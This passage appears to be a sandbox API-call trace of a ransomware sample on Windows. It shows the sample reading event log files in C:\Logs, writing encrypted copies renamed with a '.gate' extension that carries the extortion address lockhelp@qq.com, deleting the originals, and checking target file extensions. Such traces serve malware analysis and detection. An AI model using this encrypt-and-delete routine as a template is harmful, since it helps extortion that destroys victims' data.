"c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0276.615] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.615] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0276.616] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0276.616] GetLastError () returned 0x0 [0276.616] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0276.899] WriteFile (in: hFile=0x3a0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0276.900] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0276.900] WriteFile (in: hFile=0x3a0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x154, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x154, lpOverlapped=0x0) returned 1 [0276.901] SetEndOfFile (hFile=0x3a0) returned 1 [0277.169] CloseHandle (hObject=0x3a0) returned 1 [0277.176] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.176] SetEndOfFile (hFile=0x3a4) returned 1 [0277.177] CloseHandle (hObject=0x3a4) returned 1 [0277.177] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0277.178] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-resource-exhaustion-detector%4operational.evtx")) returned 1 [0277.178] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0277.178] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0277.178] lstrlenW (lpString=".doc") returned 4 [0277.178] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.178] lstrlenW (lpString=".docx") returned 5 [0277.178] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.178] lstrlenW (lpString=".pdf") returned 4 [0277.178] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.178] lstrlenW (lpString=".xls") returned 4 [0277.178] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.178] lstrlenW (lpString=".xlsx") returned 5 [0277.178] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.178] lstrlenW (lpString=".ppt") returned 4 [0277.178] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.178] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0277.178] lstrlenW (lpString=".zip") returned 4 [0277.179] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.179] lstrlenW (lpString=".rar") returned 4 [0277.179] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.179] lstrlenW (lpString=".bz2") returned 4 [0277.179] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.179] lstrlenW (lpString=".7z") returned 3 [0277.179] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0277.179] lstrlenW (lpString=".dbf") returned 4 [0277.179] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0277.179] lstrlenW (lpString=".1cd") returned 4 [0277.179] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0277.179] lstrlenW (lpString=".jpg") returned 4 [0277.179] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0277.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0277.179] lstrlenW (lpString=".doc") returned 4 [0277.179] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.179] lstrlenW (lpString=".docx") returned 5 [0277.179] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.179] lstrlenW (lpString=".pdf") returned 4 [0277.179] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.179] lstrlenW (lpString=".xls") returned 4 [0277.179] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.179] lstrlenW (lpString=".xlsx") returned 5 [0277.179] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.179] lstrlenW (lpString=".ppt") returned 4 [0277.179] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0277.180] lstrlenW (lpString=".zip") returned 4 [0277.180] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.180] lstrlenW (lpString=".rar") returned 4 [0277.180] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.180] lstrlenW (lpString=".bz2") returned 4 [0277.180] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.180] lstrlenW (lpString=".7z") returned 3 [0277.180] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.180] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0277.180] lstrlenW (lpString=".dbf") returned 4 [0277.180] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.180] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0277.180] lstrlenW (lpString=".1cd") returned 4 [0277.180] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.180] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Resource-Exhaustion-Detector%4Operational.evtx") returned 72 [0277.180] lstrlenW (lpString=".jpg") returned 4 [0277.180] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.180] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0277.180] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 46 [0277.180] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0277.181] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0277.181] CloseHandle (hObject=0x3a4) returned 1 [0277.181] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20 [0277.181] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0277.181] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0277.181] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.181] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.181] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0277.182] GetLastError () returned 0x0 [0277.182] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0277.233] WriteFile (in: hFile=0x3a0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0277.481] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0277.481] WriteFile (in: hFile=0x3a0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x130, lpOverlapped=0x0) returned 1 [0277.481] SetEndOfFile (hFile=0x3a0) returned 1 [0277.481] CloseHandle (hObject=0x3a0) returned 1 [0277.483] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.483] SetEndOfFile (hFile=0x3a4) returned 1 [0277.484] CloseHandle (hObject=0x3a4) returned 1 [0277.484] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0277.485] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1 [0277.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0277.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0277.485] lstrlenW (lpString=".doc") returned 4 [0277.485] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.485] lstrlenW (lpString=".docx") returned 5 [0277.485] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.485] lstrlenW (lpString=".pdf") returned 4 [0277.485] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.485] lstrlenW (lpString=".xls") returned 4 [0277.485] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.485] lstrlenW (lpString=".xlsx") returned 5 [0277.485] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.485] lstrlenW (lpString=".ppt") returned 4 [0277.485] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.485] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0277.485] lstrlenW (lpString=".zip") returned 4 [0277.486] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.486] lstrlenW (lpString=".rar") returned 4 [0277.486] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.486] lstrlenW (lpString=".bz2") returned 4 [0277.486] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.486] lstrlenW (lpString=".7z") returned 3 [0277.486] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.486] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0277.486] lstrlenW (lpString=".dbf") returned 4 [0277.486] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.486] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0277.486] lstrlenW (lpString=".1cd") returned 4 [0277.486] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.486] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0277.486] lstrlenW (lpString=".jpg") returned 4 [0277.486] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.486] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0277.486] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0277.486] lstrlenW (lpString=".doc") returned 4 [0277.486] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0277.486] lstrlenW (lpString=".docx") returned 5 [0277.486] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0277.486] lstrlenW (lpString=".pdf") returned 4 [0277.486] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0277.486] lstrlenW (lpString=".xls") returned 4 [0277.486] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0277.486] lstrlenW (lpString=".xlsx") returned 5 [0277.486] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0277.486] lstrlenW (lpString=".ppt") returned 4 [0277.486] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0277.486] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0277.486] lstrlenW (lpString=".zip") returned 4 [0277.487] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0277.487] lstrlenW (lpString=".rar") returned 4 [0277.487] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0277.487] lstrlenW (lpString=".bz2") returned 4 [0277.487] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0277.487] lstrlenW (lpString=".7z") returned 3 [0277.487] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0277.487] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0277.487] lstrlenW (lpString=".dbf") returned 4 [0277.487] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0277.487] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0277.487] lstrlenW (lpString=".1cd") returned 4 [0277.488] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0277.488] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54 [0277.488] lstrlenW (lpString=".jpg") returned 4 [0277.488] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0277.488] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0277.488] lstrlenW (lpString="Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 49 [0277.488] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0277.488] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0277.488] CloseHandle (hObject=0x3a4) returned 1 [0277.488] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 0x20 [0277.488] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0277.488] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0277.488] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.488] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0277.489] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0277.489] GetLastError () returned 0x0 [0277.489] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0277.685] WriteFile (in: hFile=0x3a0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0277.687] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0277.687] WriteFile (in: hFile=0x3a0, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x136, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x136, lpOverlapped=0x0) returned 1 [0277.687] SetEndOfFile (hFile=0x3a0) returned 1 [0277.844] CloseHandle (hObject=0x3a0) returned 1 [0278.173] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.173] SetEndOfFile (hFile=0x3a4) returned 1 [0278.174] CloseHandle (hObject=0x3a4) returned 1 [0278.174] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0278.175] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx" (normalized: "c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx")) returned 1 [0278.177] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0278.177] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0278.177] lstrlenW (lpString=".doc") returned 4 [0278.177] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.177] lstrlenW (lpString=".docx") returned 5 [0278.177] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.177] lstrlenW (lpString=".pdf") returned 4 [0278.177] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.177] lstrlenW (lpString=".xls") returned 4 [0278.177] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.177] lstrlenW (lpString=".xlsx") returned 5 [0278.177] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.177] lstrlenW (lpString=".ppt") returned 4 [0278.177] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.177] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0278.177] lstrlenW (lpString=".zip") returned 4 [0278.177] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.177] lstrlenW (lpString=".rar") returned 4 [0278.177] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.177] lstrlenW (lpString=".bz2") returned 4 [0278.177] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.177] lstrlenW (lpString=".7z") returned 3 [0278.178] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.178] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0278.178] lstrlenW (lpString=".dbf") returned 4 [0278.178] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.178] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0278.178] lstrlenW (lpString=".1cd") returned 4 [0278.178] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.178] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0278.178] lstrlenW (lpString=".jpg") returned 4 [0278.178] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.178] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0278.178] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0278.178] lstrlenW (lpString=".doc") returned 4 [0278.178] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.178] lstrlenW (lpString=".docx") returned 5 [0278.178] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.178] lstrlenW (lpString=".pdf") returned 4 [0278.178] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.178] lstrlenW (lpString=".xls") returned 4 [0278.178] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.178] lstrlenW (lpString=".xlsx") returned 5 [0278.178] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.178] lstrlenW (lpString=".ppt") returned 4 [0278.178] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.178] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0278.178] lstrlenW (lpString=".zip") returned 4 [0278.178] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.178] lstrlenW (lpString=".rar") returned 4 [0278.178] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.178] lstrlenW (lpString=".bz2") returned 4 [0278.179] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.179] lstrlenW (lpString=".7z") returned 3 [0278.179] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0278.179] lstrlenW (lpString=".dbf") returned 4 [0278.179] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0278.179] lstrlenW (lpString=".1cd") returned 4 [0278.179] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.179] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 57 [0278.179] lstrlenW (lpString=".jpg") returned 4 [0278.179] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.179] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0278.179] lstrlenW (lpString="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 76 [0278.179] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0278.180] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0278.180] CloseHandle (hObject=0x3a4) returned 1 [0278.180] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx")) returned 0x20 [0278.180] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.180] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0278.180] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.180] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.180] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x414 [0278.181] GetLastError () returned 0x0 [0278.181] ReadFile (in: hFile=0x3a4, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0278.234] WriteFile 